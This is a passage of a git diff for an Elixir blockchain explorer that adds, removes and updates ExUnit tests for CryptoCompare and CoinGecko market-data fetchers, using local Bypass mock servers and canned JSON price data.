CryptoCompare) + + bypass = Bypass.open() + + Application.put_env(:explorer, Source, native_coin_history_source: CryptoCompare) + Application.put_env(:explorer, CryptoCompare, base_url: "http://localhost:#{bypass.port}", coin_symbol: "TEST") + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Application.put_env(:explorer, Source, source_configuration) + Application.put_env(:explorer, CryptoCompare, crypto_compare_configuration) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + resp = + """ + { + "Response": "Success", + "Message": "", + "HasWarning": false, + "Type": 100, + "RateLimit": {}, + "Data": { + "Aggregated": false, + "TimeFrom": 1739318400, + "TimeTo": 1739491200, + "Data": [ + { + "time": 1522566018, + "high": 10229.02, + "low": 9666.32, + "open": 5, + "volumefrom": 91397.18, + "volumeto": 916559418.68, + "close": 10, + "conversionType": "multiply", + "conversionSymbol": "BTC" + } + ] + } + } + """ + + Bypass.expect(bypass, fn conn -> Conn.resp(conn, 200, resp) end) + + state = %{ + types_states: %{ + native_coin_price_history: %{ + source: CryptoCompare, + max_failed_attempts: 10, + failed_attempts: 0, + finished?: false, + records: [] + } + }, + day_count: 1 + } + + records = [ + %{date: ~D[2018-04-01], closing_price: Decimal.new(10), opening_price: Decimal.new(5), secondary_coin: false} + ] + + assert {:noreply, state} == History.handle_info(:native_coin_price_history, state) + assert_receive {_ref, {:native_coin_price_history, {:ok, ^records}}} + end + + test "handle_info with successful tasks" do + price_records = [ + %{date: ~D[2018-04-01], closing_price: Decimal.new(10), opening_price: Decimal.new(5)}, + %{date: ~D[2018-04-02], closing_price: Decimal.new(6), opening_price: Decimal.new(2)} + ] + + market_cap_records = [%{date: ~D[2018-04-01], market_cap: Decimal.new(100_500)}] + tvl_records = [%{date: ~D[2018-04-01], tvl: Decimal.new(200_500)}] + + state = %{ + types_states: %{ + native_coin_price_history: %{ + source: TestSource, + max_failed_attempts: 10, + failed_attempts: 0, + finished?: false, + records: [] + }, + secondary_coin_price_history: %{ + source: nil, + max_failed_attempts: 10, + failed_attempts: 0, + finished?: true, + records: [] + }, + market_cap_history: %{ + source: TestSource, + max_failed_attempts: 3, + failed_attempts: 0, + finished?: false, + records: [] + }, + tvl_history: %{ + source: TestSource, + max_failed_attempts: 3, + failed_attempts: 0, + finished?: false, + records: [] + } + }, + day_count: 1 + } + + assert {:noreply, new_state} = + History.handle_info({nil, {:native_coin_price_history, {:ok, price_records}}}, state) + + assert get_in(new_state.types_states, [:native_coin_price_history, :finished?]) + assert get_in(new_state.types_states, [:native_coin_price_history, :records]) == price_records + + assert {:noreply, new_state} = + History.handle_info({nil, {:market_cap_history, {:ok, market_cap_records}}}, new_state) + + assert get_in(new_state.types_states, [:market_cap_history, :finished?]) + assert get_in(new_state.types_states, [:market_cap_history, :records]) == market_cap_records + + assert {:noreply, final_state} = + History.handle_info({nil, {:tvl_history, {:ok, tvl_records}}}, new_state) + + assert record2 = Repo.get_by(MarketHistory, date: Enum.at(price_records, 1).date) + assert record1 = Repo.get_by(MarketHistory, date: Enum.at(price_records, 0).date) + assert record2.closing_price == Decimal.new(6) + assert record2.market_cap == nil + assert record2.tvl == nil + assert record1.closing_price == Decimal.new(10) + assert record1.market_cap == Decimal.new(100_500) + assert record1.tvl == Decimal.new(200_500) + end + + test "current day values are saved in state" do + bypass = Bypass.open() + crypto_compare_configuration = Application.get_env(:explorer, CryptoCompare) + source_configuration = Application.get_env(:explorer, Source) + + Application.put_env(:explorer, Source, native_coin_history_source: CryptoCompare) + Application.put_env(:explorer, CryptoCompare, base_url: "http://localhost:#{bypass.port}", coin_symbol: "TEST") + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Application.put_env(:explorer, CryptoCompare, crypto_compare_configuration) + Application.put_env(:explorer, Source, source_configuration) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + resp = + &""" + { + "Response": "Success", + "Message": "", + "HasWarning": false, + "Type": 100, + "RateLimit": {}, + "Data": { + "Aggregated": false, + "TimeFrom": 1739318400, + "TimeTo": 1739491200, + "Data": [ + { + "time": #{&1}, + "high": 10229.02, + "low": 9666.32, + "open": 1.1, + "volumefrom": 91397.18, + "volumeto": 916559418.68, + "close": #{&2}, + "conversionType": "multiply", + "conversionSymbol": "BTC" + } + ] + } + } + """ + + Bypass.expect(bypass, fn conn -> + case conn.params["limit"] do + "365" -> Conn.resp(conn, 200, resp.(1_522_566_018, 10)) + _ -> Conn.resp(conn, 200, resp.(1_522_633_818, 20)) + end + end) + + {:ok, pid} = History.start_link([]) + + :timer.sleep(500) + + assert [ + %Explorer.Market.MarketHistory{ + date: ~D[2018-04-01] + } = first_entry, + %Explorer.Market.MarketHistory{ + date: ~D[2018-04-02] + } = second_entry + ] = MarketHistory |> order_by(asc: :date) |> limit(2) |> Repo.all() + + assert Decimal.eq?(first_entry.closing_price, Decimal.new(10)) + assert Decimal.eq?(second_entry.closing_price, Decimal.new(20)) + end + + test "handle info for DOWN message" do + assert {:noreply, %{}} == History.handle_info({:DOWN, nil, :process, nil, nil}, %{}) + end + + @tag capture_log: true + test "start_link" do + assert {:ok, _} = History.start_link([]) + end +end diff --git a/apps/explorer/test/explorer/market/fetcher/token_test.exs b/apps/explorer/test/explorer/market/fetcher/token_test.exs new file mode 100644 index 000000000000..eb3df9f5c217 --- /dev/null +++ b/apps/explorer/test/explorer/market/fetcher/token_test.exs @@ -0,0 +1,227 @@ +defmodule Explorer.Market.Fetcher.TokenTest do + use Explorer.DataCase + + import Mox + + alias Plug.Conn + alias Explorer.Chain.Token + alias Explorer.Market.Fetcher.Token, as: TokenFetcher + + @moduletag :capture_log + + setup :verify_on_exit! + + describe "handle_info(:fetch, state)" do + setup do + bypass = Bypass.open() + + source_configuration = Application.get_env(:explorer, Explorer.Market.Source) + fetcher_configuration = Application.get_env(:explorer, Explorer.Market.Fetcher.Token) + coin_gecko_configuration = Application.get_env(:explorer, Explorer.Market.Source.CoinGecko) + + Application.put_env(:explorer, Explorer.Market.Source, tokens_source: Explorer.Market.Source.CoinGecko) + + Application.put_env(:explorer, Explorer.Market.Fetcher.Token, + enabled: true, + interval: 0, + refetch_interval: 10000, + max_batch_size: 10 + ) + + Application.put_env(:explorer, Explorer.Market.Source.CoinGecko, + platform: "ethereum", + currency: "usd", + base_url: "http://localhost:#{bypass.port}" + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Market.Source, source_configuration) + Application.put_env(:explorer, Explorer.Market.Fetcher.Token, fetcher_configuration) + Application.put_env(:explorer, Explorer.Market.Source.CoinGecko, coin_gecko_configuration) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + [_token_with_no_exchange_rate | tokens] = + for _ <- 0..4 do + insert(:token, fiat_value: nil) + end + + {:ok, %{bypass: bypass, tokens: tokens}} + end + + test "success fetch", %{bypass: bypass, tokens: tokens} do + coins_list = + tokens + |> Enum.map(fn %{contract_address_hash: contract_address_hash} -> + %{ + "id" => "#{contract_address_hash}_id", + "symbol" => "#{contract_address_hash}_symbol", + "name" => "#{contract_address_hash}_name", + "platforms" => %{ + "some_other_chain" => "we do not want this to appear in the /simple/token_price/ request", + "ethereum" => "#{contract_address_hash}" + } + } + end) + + Bypass.expect_once(bypass, "GET", "/coins/list", fn conn -> + assert conn.query_string == "include_platform=true" + Conn.resp(conn, 200, Jason.encode!(coins_list)) + end) + + token_exchange_rates = + tokens + |> Enum.reduce(%{}, fn %{contract_address_hash: contract_address_hash}, acc -> + Map.put(acc, "#{contract_address_hash}_id", %{ + "usd" => 1..100 |> Enum.random() |> Decimal.new() |> Decimal.mult(Decimal.from_float(0.7)) + }) + end) + + joined_ids = + tokens + |> Enum.reverse() + |> Enum.map_join(",", fn %{contract_address_hash: contract_address_hash} -> "#{contract_address_hash}_id" end) + + Bypass.expect_once( + bypass, + "GET", + "/simple/price", + fn conn -> + assert conn.query_string == + "vs_currencies=usd&include_market_cap=true&include_24hr_vol=true&ids=#{joined_ids}" + + Conn.resp(conn, 200, Jason.encode!(token_exchange_rates)) + end + ) + + GenServer.start_link(TokenFetcher, []) + + :timer.sleep(100) + + Repo.all(Token) + |> Enum.each(fn %{contract_address_hash: contract_address_hash, fiat_value: fiat_value} -> + assert token_exchange_rates[contract_address_hash]["usd"] == fiat_value + end) + end + + test "empty body in /coins/list response", %{bypass: bypass} do + Bypass.expect(bypass, "GET", "/coins/list", fn conn -> + assert conn.query_string == "include_platform=true" + Conn.resp(conn, 200, "[]") + end) + + GenServer.start_link(TokenFetcher, []) + + :timer.sleep(100) + + Repo.all(Token) + |> Enum.each(fn %{fiat_value: fiat_value} -> assert is_nil(fiat_value) end) + end + + test "empty body in fetch response", %{bypass: bypass, tokens: tokens} do + coins_list = + tokens + |> Enum.map(fn %{contract_address_hash: contract_address_hash} -> + %{ + "id" => "#{contract_address_hash}_id", + "symbol" => "#{contract_address_hash}_symbol", + "name" => "#{contract_address_hash}_name", + "platforms" => %{ + "some_other_chain" => "we do not want this to appear in the /simple/token_price/ request", + "ethereum" => "#{contract_address_hash}" + } + } + end) + + Bypass.expect_once(bypass, "GET", "/coins/list", fn conn -> + assert conn.query_string == "include_platform=true" + Conn.resp(conn, 200, Jason.encode!(coins_list)) + end) + + joined_ids = + tokens + |> Enum.reverse() + |> Enum.map_join(",", fn %{contract_address_hash: contract_address_hash} -> "#{contract_address_hash}_id" end) + + Bypass.expect_once( + bypass, + "GET", + "/simple/price", + fn conn -> + assert conn.query_string == + "vs_currencies=usd&include_market_cap=true&include_24hr_vol=true&ids=#{joined_ids}" + + Conn.resp(conn, 200, "{}") + end + ) + + GenServer.start_link(TokenFetcher, []) + + :timer.sleep(100) + + Repo.all(Token) + |> Enum.each(fn %{fiat_value: fiat_value} -> assert is_nil(fiat_value) end) + end + + test "error in /coins/list response", %{bypass: bypass} do + Bypass.expect(bypass, "GET", "/coins/list", fn conn -> + assert conn.query_string == "include_platform=true" + Conn.resp(conn, 429, "Too many requests") + end) + + GenServer.start_link(TokenFetcher, []) + + :timer.sleep(100) + + Repo.all(Token) + |> Enum.each(fn %{fiat_value: fiat_value} -> assert is_nil(fiat_value) end) + end + + test "error in fetch response", %{bypass: bypass, tokens: tokens} do + coins_list = + tokens + |> Enum.map(fn %{contract_address_hash: contract_address_hash} -> + %{ + "id" => "#{contract_address_hash}_id", + "symbol" => "#{contract_address_hash}_symbol", + "name" => "#{contract_address_hash}_name", + "platforms" => %{ + "some_other_chain" => "we do not want this to appear in the /simple/token_price/ request", + "ethereum" => "#{contract_address_hash}" + } + } + end) + + Bypass.expect(bypass, "GET", "/coins/list", fn conn -> + assert conn.query_string == "include_platform=true" + Conn.resp(conn, 200, Jason.encode!(coins_list)) + end) + + joined_ids = + tokens + |> Enum.reverse() + |> Enum.map_join(",", fn %{contract_address_hash: contract_address_hash} -> "#{contract_address_hash}_id" end) + + Bypass.expect( + bypass, + "GET", + "/simple/price", + fn conn -> + assert conn.query_string == + "vs_currencies=usd&include_market_cap=true&include_24hr_vol=true&ids=#{joined_ids}" + + Conn.resp(conn, 429, "Too many requests") + end + ) + + GenServer.start_link(TokenFetcher, []) + + :timer.sleep(100) + + Repo.all(Token) + |> Enum.each(fn %{fiat_value: fiat_value} -> assert is_nil(fiat_value) end) + end + end +end diff --git a/apps/explorer/test/explorer/market/history/cataloger_test.exs b/apps/explorer/test/explorer/market/history/cataloger_test.exs deleted file mode 100644 index 433ad0fc1e5c..000000000000 --- a/apps/explorer/test/explorer/market/history/cataloger_test.exs +++ /dev/null @@ -1,49 +0,0 @@ -defmodule Explorer.Market.History.CatalogerTest do - use Explorer.DataCase, async: false - - import Mox - - alias Explorer.Market.MarketHistory - alias Explorer.Market.History.Cataloger - alias Explorer.Market.History.Source.TestSource - alias Explorer.Repo - - setup do - Application.put_env(:explorer, Cataloger, source: TestSource) - :ok - end - - test "init" do - assert {:ok, %{}} == Cataloger.init(:ok) - assert_received {:fetch_history, 365} - end - - test "handle_info with `{:fetch_history, days}`" do - records = [%{date: ~D[2018-04-01], closing_price: Decimal.new(10), opening_price: Decimal.new(5)}] - expect(TestSource, :fetch_history, fn 1 -> {:ok, records} end) - set_mox_global() - state = %{} - - assert {:noreply, state} == Cataloger.handle_info({:fetch_history, 1}, state) - assert_receive {_ref, {1, 0, {:ok, ^records}}} - end - - test "handle_info with successful task" do - Application.put_env(:explorer, Cataloger, history_fetch_interval: 1) - record = %{date: ~D[2018-04-01], closing_price: Decimal.new(10), opening_price: Decimal.new(5)} - state = %{} - - assert {:noreply, state} == Cataloger.handle_info({nil, {1, 0, {:ok, [record]}}}, state) - assert_receive {:fetch_history, 1} - assert Repo.get_by(MarketHistory, date: record.date) - end - - test "handle info for DOWN message" do - assert {:noreply, %{}} == Cataloger.handle_info({:DOWN, nil, :process, nil, nil}, %{}) - end - - @tag capture_log: true - test "start_link" do - assert {:ok, _} = Cataloger.start_link([]) - end -end diff --git a/apps/explorer/test/explorer/market/history/source/crypto_compare_test.exs b/apps/explorer/test/explorer/market/history/source/crypto_compare_test.exs deleted file mode 100644 index 1fc4223f7262..000000000000 --- a/apps/explorer/test/explorer/market/history/source/crypto_compare_test.exs +++ /dev/null @@ -1,144 +0,0 @@ -defmodule Explorer.Market.History.Source.CryptoCompareTest do - use ExUnit.Case, async: false - - alias Explorer.Market.History.Source.CryptoCompare - alias Plug.Conn - - @json """ - { - "Response": "Success", - "Type": 100, - "Aggregated": false, - "Data": [ - { - "time": 1524528000, - "close": 9655.77, - "high": 9741.91, - "low": 8957.68, - "open": 8967.86, - "volumefrom": 136352.05, - "volumeto": 1276464750.74 - }, - { - "time": 1524614400, - "close": 8873.62, - "high": 9765.23, - "low": 8757.06, - "open": 9657.69, - "volumefrom": 192797.41, - "volumeto": 1779806222.98 - }, - { - "time": 1524700800, - "close": 8804.32, - "high": 8965.84, - "low": 8669.38, - "open": 8873.57, - "volumefrom": 74704.5, - "volumeto": 661168891 - } - ], - "TimeTo": 1524700800, - "TimeFrom": 1523836800, - "FirstValueInArray": true, - "ConversionType": { - "type": "direct", - "conversionSymbol": "" - } - } - """ - - describe "fetch_history/1" do - setup do - bypass = Bypass.open() - Application.put_env(:explorer, CryptoCompare, base_url: "http://localhost:#{bypass.port}") - - {:ok, bypass: bypass} - end - - test "with successful request", %{bypass: bypass} do - Bypass.expect(bypass, fn conn -> Conn.resp(conn, 200, @json) end) - - expected = [ - %{ - closing_price: Decimal.from_float(9655.77), - date: ~D[2018-04-24], - opening_price: Decimal.from_float(8967.86) - }, - %{ - closing_price: Decimal.from_float(8873.62), - date: ~D[2018-04-25], - opening_price: Decimal.from_float(9657.69) - }, - %{ - closing_price: Decimal.from_float(8804.32), - date: ~D[2018-04-26], - opening_price: Decimal.from_float(8873.57) - } - ] - - assert {:ok, expected} == CryptoCompare.fetch_history(3) - end - - test "with errored request", %{bypass: bypass} do - error_text = ~S({"error": "server error"}) - Bypass.expect(bypass, fn conn -> Conn.resp(conn, 500, error_text) end) - - assert :error == CryptoCompare.fetch_history(3) - end - - test "rejects empty prices", %{bypass: bypass} do - json = """ - { - "Response": "Success", - "Type": 100, - "Aggregated": false, - "Data": [ - { - "time": 1524528000, - "close": 0, - "high": 9741.91, - "low": 8957.68, - "open": 0, - "volumefrom": 136352.05, - "volumeto": 1276464750.74 - }, - { - "time": 1524614400, - "close": 0, - "high": 9765.23, - "low": 8757.06, - "open": 0, - "volumefrom": 192797.41, - "volumeto": 1779806222.98 - }, - { - "time": 1524700800, - "close": 8804.32, - "high": 8965.84, - "low": 8669.38, - "open": 8873.57, - "volumefrom": 74704.5, - "volumeto": 661168891 - } - ], - "TimeTo": 1524700800, - "TimeFrom": 1523836800, - "FirstValueInArray": true, - "ConversionType": { - "type": "direct", - "conversionSymbol": "" - } - } - """ - - Bypass.expect(bypass, fn conn -> Conn.resp(conn, 200, json) end) - - expected = [ - %{closing_price: Decimal.from_float(8804.32), date: ~D[2018-04-26], opening_price: Decimal.from_float(8873.57)} - ] - - assert {:ok, expected} == CryptoCompare.fetch_history(3) - end - end -end diff --git a/apps/explorer/test/explorer/market/market_history_cache_test.exs b/apps/explorer/test/explorer/market/market_history_cache_test.exs index 1ce5ba16f1d4..bbc0b49db971 100644 --- a/apps/explorer/test/explorer/market/market_history_cache_test.exs +++ b/apps/explorer/test/explorer/market/market_history_cache_test.exs @@ -1,8 +1,8 @@ defmodule Explorer.Market.MarketHistoryCacheTest do use Explorer.DataCase - alias Explorer.Market alias Explorer.Market.MarketHistoryCache + alias Explorer.Market.MarketHistory setup do Supervisor.terminate_child(Explorer.Supervisor, {ConCache, MarketHistoryCache.cache_name()}) @@ -29,7 +29,7 @@ defmodule Explorer.Market.MarketHistoryCacheTest do } end - Market.bulk_insert_history(records) + MarketHistory.bulk_insert(records) refute fetch_data() @@ -50,7 +50,7 @@ defmodule Explorer.Market.MarketHistoryCacheTest do } end - Market.bulk_insert_history(stale_records) + MarketHistory.bulk_insert(stale_records) MarketHistoryCache.fetch() diff --git a/apps/explorer/test/explorer/market/market_history_test.exs b/apps/explorer/test/explorer/market/market_history_test.exs new file mode 100644 index 000000000000..ab7927ec3ee7 --- /dev/null +++ b/apps/explorer/test/explorer/market/market_history_test.exs @@ -0,0 +1,84 @@ +defmodule Explorer.Market.MarketHistoryTest do + use Explorer.DataCase + + alias Explorer.Repo + alias Explorer.Market.MarketHistory + + describe "bulk_insert/1" do + test "replaces existing records" do + records = [ + %{date: ~D[2023-01-01], opening_price: Decimal.new("100.00"), closing_price: Decimal.new("110.00")}, + %{date: ~D[2023-01-02], opening_price: Decimal.new("7.50"), closing_price: Decimal.new("5.00")} + ] + + assert {2, _} = MarketHistory.bulk_insert(records) + + records = [ + %{date: ~D[2023-01-01], opening_price: Decimal.new("50.00"), closing_price: Decimal.new("55.00")}, + %{date: ~D[2023-01-02], opening_price: Decimal.new("10.00"), closing_price: Decimal.new("8.00")} + ] + + assert {2, _} = MarketHistory.bulk_insert(records) + + assert [date1, date2] = Repo.all(MarketHistory) + assert date1.opening_price == Decimal.new("50.00") + assert date1.closing_price == Decimal.new("55.00") + assert date2.opening_price == Decimal.new("10.00") + assert date2.closing_price == Decimal.new("8.00") + end + end + + test "inserts records" do + comparable_values = %{ + ~D[2018-04-01] => %{ + date: ~D[2018-04-01], + closing_price: Decimal.new(1), + opening_price: Decimal.new(1) + }, + ~D[2018-04-02] => %{ + date: ~D[2018-04-02], + closing_price: Decimal.new(1), + opening_price: Decimal.new(1) + }, + ~D[2018-04-03] => %{ + date: ~D[2018-04-03], + closing_price: Decimal.new(1), + opening_price: Decimal.new(1) + } + } + + insertable_records = Map.values(comparable_values) + MarketHistory.bulk_insert(insertable_records) + history = Repo.all(MarketHistory) + + missing_records = + Enum.reduce(history, comparable_values, fn record, acc -> + initial_record = Map.get(acc, record.date) + assert record.date == initial_record.date + assert record.closing_price == initial_record.closing_price + assert record.opening_price == initial_record.opening_price + Map.delete(acc, record.date) + end) + + assert missing_records == %{} + end + + test "doesn't replace existing records with zeros" do + date = ~D[2018-04-01] + + {:ok, old_record} = + Repo.insert(%MarketHistory{date: date, closing_price: Decimal.new(1), opening_price: Decimal.new(1)}) + + new_record = %{ + date: date, + closing_price: Decimal.new(0), + opening_price: Decimal.new(0) + } + + MarketHistory.bulk_insert([new_record]) + + fetched_record = Repo.get_by(MarketHistory, date: date) + assert fetched_record.closing_price == old_record.closing_price + assert fetched_record.opening_price == old_record.opening_price + end +end diff --git a/apps/explorer/test/explorer/market/market_test.exs b/apps/explorer/test/explorer/market/market_test.exs index 44342b39960d..b2651d4ec28a 100644 --- a/apps/explorer/test/explorer/market/market_test.exs +++ b/apps/explorer/test/explorer/market/market_test.exs @@ -18,6 +18,8 @@ defmodule Explorer.MarketTest do end test "fetch_recent_history/1" do + ConCache.delete(:market_history, :last_update) + today = Date.utc_today() records = @@ -29,85 +31,10 @@ defmodule Explorer.MarketTest do } end - Market.bulk_insert_history(records) + MarketHistory.bulk_insert(records) history = Market.fetch_recent_history() assert length(history) == 30 assert Enum.at(history, 0).date == Enum.at(records, 0).date end - - describe "bulk_insert_history/1" do - test "inserts records" do - comparable_values = %{ - ~D[2018-04-01] => %{ - date: ~D[2018-04-01], - closing_price: Decimal.new(1), - opening_price: Decimal.new(1) - }, - ~D[2018-04-02] => %{ - date: ~D[2018-04-02], - closing_price: Decimal.new(1), - opening_price: Decimal.new(1) - }, - ~D[2018-04-03] => %{ - date: ~D[2018-04-03], - closing_price: Decimal.new(1), - opening_price: Decimal.new(1) - } - } - - insertable_records = Map.values(comparable_values) - Market.bulk_insert_history(insertable_records) - history = Repo.all(MarketHistory) - - missing_records = - Enum.reduce(history, comparable_values, fn record, acc -> - initial_record = Map.get(acc, record.date) - assert record.date == initial_record.date - assert record.closing_price == initial_record.closing_price - assert record.opening_price == initial_record.opening_price - Map.delete(acc, record.date) - end) - - assert missing_records == %{} - end - - test "doesn't replace existing records with zeros" do - date = ~D[2018-04-01] - - {:ok, old_record} = - Repo.insert(%MarketHistory{date: date, closing_price: Decimal.new(1), opening_price: Decimal.new(1)}) - - new_record = %{ - date: date, - closing_price: Decimal.new(0), - opening_price: Decimal.new(0) - } - - Market.bulk_insert_history([new_record]) - - fetched_record = Repo.get_by(MarketHistory, date: date) - assert fetched_record.closing_price == old_record.closing_price - assert fetched_record.opening_price == old_record.opening_price - end - - test "does not override existing records on date conflict" do - date = ~D[2018-04-01] - - {:ok, old_record} = - Repo.insert(%MarketHistory{date: date, closing_price: Decimal.new(2), opening_price: Decimal.new(2)}) - - new_record = %{ - date: date, - closing_price: Decimal.new(1), - opening_price: Decimal.new(1) - } - - Market.bulk_insert_history([new_record]) - - fetched_record = Repo.get_by(MarketHistory, date: date) - assert fetched_record.closing_price == old_record.closing_price - assert fetched_record.opening_price == old_record.opening_price - end - end end diff --git a/apps/explorer/test/explorer/market/source/coin_gecko_test.exs b/apps/explorer/test/explorer/market/source/coin_gecko_test.exs new file mode 100644 index 000000000000..de9619a42b12 --- /dev/null +++ b/apps/explorer/test/explorer/market/source/coin_gecko_test.exs @@ -0,0 +1,685 @@ +# cspell:disable +defmodule Explorer.Market.Source.CoinGeckoTest do + use ExUnit.Case + + alias Explorer.Market.Token + alias Explorer.Market.Source.CoinGecko + alias Plug.Conn + + setup do + bypass = Bypass.open() + + coin_gecko_configuration = Application.get_env(:explorer, CoinGecko) + source_configuration = Application.get_env(:explorer, Explorer.Market.Source) + + Application.put_env(:explorer, Explorer.Market.Source, + native_coin_source: CoinGecko, + secondary_coin_source: CoinGecko, + tokens_source: CoinGecko, + native_coin_history_source: CoinGecko, + secondary_coin_history_source: CoinGecko, + market_cap_history_source: CoinGecko, + tvl_history_source: CoinGecko + ) + + Application.put_env(:explorer, CoinGecko, + base_url: "http://localhost:#{bypass.port}", + coin_id: "native_coin_id", + secondary_coin_id: "secondary_coin_id", + currency: "aed", + platform: "test" + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Market.Source, source_configuration) + Application.put_env(:explorer, CoinGecko, coin_gecko_configuration) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + {:ok, bypass: bypass} + end + + describe "fetch_native_coin/0" do + test "fetches native coin", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "/coins/native_coin_id", fn conn -> + assert conn.query_string == + "localization=false&tickers=false&market_data=true&community_data=false&developer_data=false&sparkline=false" + + Conn.resp(conn, 200, json_coin("native_coin_id", "123")) + end) + + assert {:ok, + %Explorer.Market.Token{ + available_supply: Decimal.new("120547760.0137619"), + total_supply: Decimal.new("120547760.0137619"), + btc_value: Decimal.new("0.02785102"), + last_updated: ~U[2025-02-14 05:40:07.774Z], + market_cap: Decimal.new("1193060259516"), + tvl: nil, + name: "Ethereum", + symbol: "ETH", + fiat_value: Decimal.new("123"), + volume_24h: Decimal.new("66154765984"), + image_url: "https://coin-images.coingecko.com/coins/images/279/small/ethereum.png?1696501628" + }} == CoinGecko.fetch_native_coin() + end + end + + describe "fetch_secondary_coin/0" do + test "fetches native coin", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "/coins/secondary_coin_id", fn conn -> + assert conn.query_string == + "localization=false&tickers=false&market_data=true&community_data=false&developer_data=false&sparkline=false" + + Conn.resp(conn, 200, json_coin("secondary_coin_id", "324")) + end) + + assert {:ok, + %Explorer.Market.Token{ + available_supply: Decimal.new("120547760.0137619"), + total_supply: Decimal.new("120547760.0137619"), + btc_value: Decimal.new("0.02785102"), + last_updated: ~U[2025-02-14 05:40:07.774Z], + market_cap: Decimal.new("1193060259516"), + tvl: nil, + name: "Ethereum", + symbol: "ETH", + fiat_value: Decimal.new("324"), + volume_24h: Decimal.new("66154765984"), + image_url: "https://coin-images.coingecko.com/coins/images/279/small/ethereum.png?1696501628" + }} == CoinGecko.fetch_secondary_coin() + end + end + + describe "fetch_tokens/2" do + test "fetches list of tokens", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "/coins/list", fn conn -> + assert conn.query_string == "include_platform=true" + Conn.resp(conn, 200, json_coins_list()) + end) + + Bypass.expect_once(bypass, "GET", "/simple/price", fn conn -> + assert conn.query_string == "vs_currencies=aed&include_market_cap=true&include_24hr_vol=true&ids=4,3,1" + Conn.resp(conn, 200, json_simple_price()) + end) + + assert {:ok, [], true, + [ + %{ + id: "1", + name: "1", + type: "ERC-20", + symbol: "1", + contract_address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1>> + }, + circulating_market_cap: Decimal.new("100"), + fiat_value: Decimal.new("1"), + volume_24h: Decimal.new("10") + }, + %{ + id: "3", + name: "3", + type: "ERC-20", + symbol: "3", + contract_address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3>> + }, + circulating_market_cap: Decimal.new("300.03"), + fiat_value: Decimal.new("3.3"), + volume_24h: Decimal.new("33.333") + }, + %{ + id: "4", + name: "4", + type: "ERC-20", + symbol: "4", + contract_address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4>> + }, + circulating_market_cap: Decimal.new("4"), + fiat_value: Decimal.new("4"), + volume_24h: Decimal.new("4") + } + ]} == CoinGecko.fetch_tokens(nil, 5) + end + + test "takes into account batch size", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "/coins/list", fn conn -> + assert conn.query_string == "include_platform=true" + Conn.resp(conn, 200, json_coins_list()) + end) + + Bypass.expect_once(bypass, "GET", "/simple/price", fn conn -> + assert conn.query_string == "vs_currencies=aed&include_market_cap=true&include_24hr_vol=true&ids=4,3" + Conn.resp(conn, 200, json_simple_price()) + end) + + assert {:ok, + [ + %{ + id: "1", + name: "1", + type: "ERC-20", + symbol: "1", + contract_address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1>> + } + } + ], false, + [ + %{ + id: "3", + name: "3", + type: "ERC-20", + symbol: "3", + contract_address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3>> + }, + circulating_market_cap: Decimal.new("300.03"), + fiat_value: Decimal.new("3.3"), + volume_24h: Decimal.new("33.333") + }, + %{ + id: "4", + name: "4", + type: "ERC-20", + symbol: "4", + contract_address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4>> + }, + circulating_market_cap: Decimal.new("4"), + fiat_value: Decimal.new("4"), + volume_24h: Decimal.new("4") + } + ]} == CoinGecko.fetch_tokens(nil, 2) + end + end + + describe "fetch_native_coin_price_history/1" do + test "fetches native coin price history", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "/coins/native_coin_id/market_chart", fn conn -> + assert conn.query_string == "vs_currency=aed&days=3" + + Conn.resp(conn, 200, json_coin_market_chart()) + end) + + assert {:ok, + [ + %{ + date: ~D[2025-02-12], + opening_price: Decimal.new("1.1"), + closing_price: Decimal.new("2.2"), + secondary_coin: false + }, + %{ + date: ~D[2025-02-13], + opening_price: Decimal.new("2.2"), + closing_price: Decimal.new("3.3"), + secondary_coin: false + }, + %{ + date: ~D[2025-02-14], + opening_price: Decimal.new("3.3"), + closing_price: Decimal.new("4.4"), + secondary_coin: false + } + ]} == CoinGecko.fetch_native_coin_price_history(3) + end + end + + describe "fetch_secondary_coin_price_history/1" do + test "fetches secondary coin price history", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "/coins/secondary_coin_id/market_chart", fn conn -> + assert conn.query_string == "vs_currency=aed&days=3" + + Conn.resp(conn, 200, json_coin_market_chart()) + end) + + assert {:ok, + [ + %{ + date: ~D[2025-02-12], + opening_price: Decimal.new("1.1"), + closing_price: Decimal.new("2.2"), + secondary_coin: true + }, + %{ + date: ~D[2025-02-13], + opening_price: Decimal.new("2.2"), + closing_price: Decimal.new("3.3"), + secondary_coin: true + }, + %{ + date: ~D[2025-02-14], + opening_price: Decimal.new("3.3"), + closing_price: Decimal.new("4.4"), + secondary_coin: true + } + ]} == 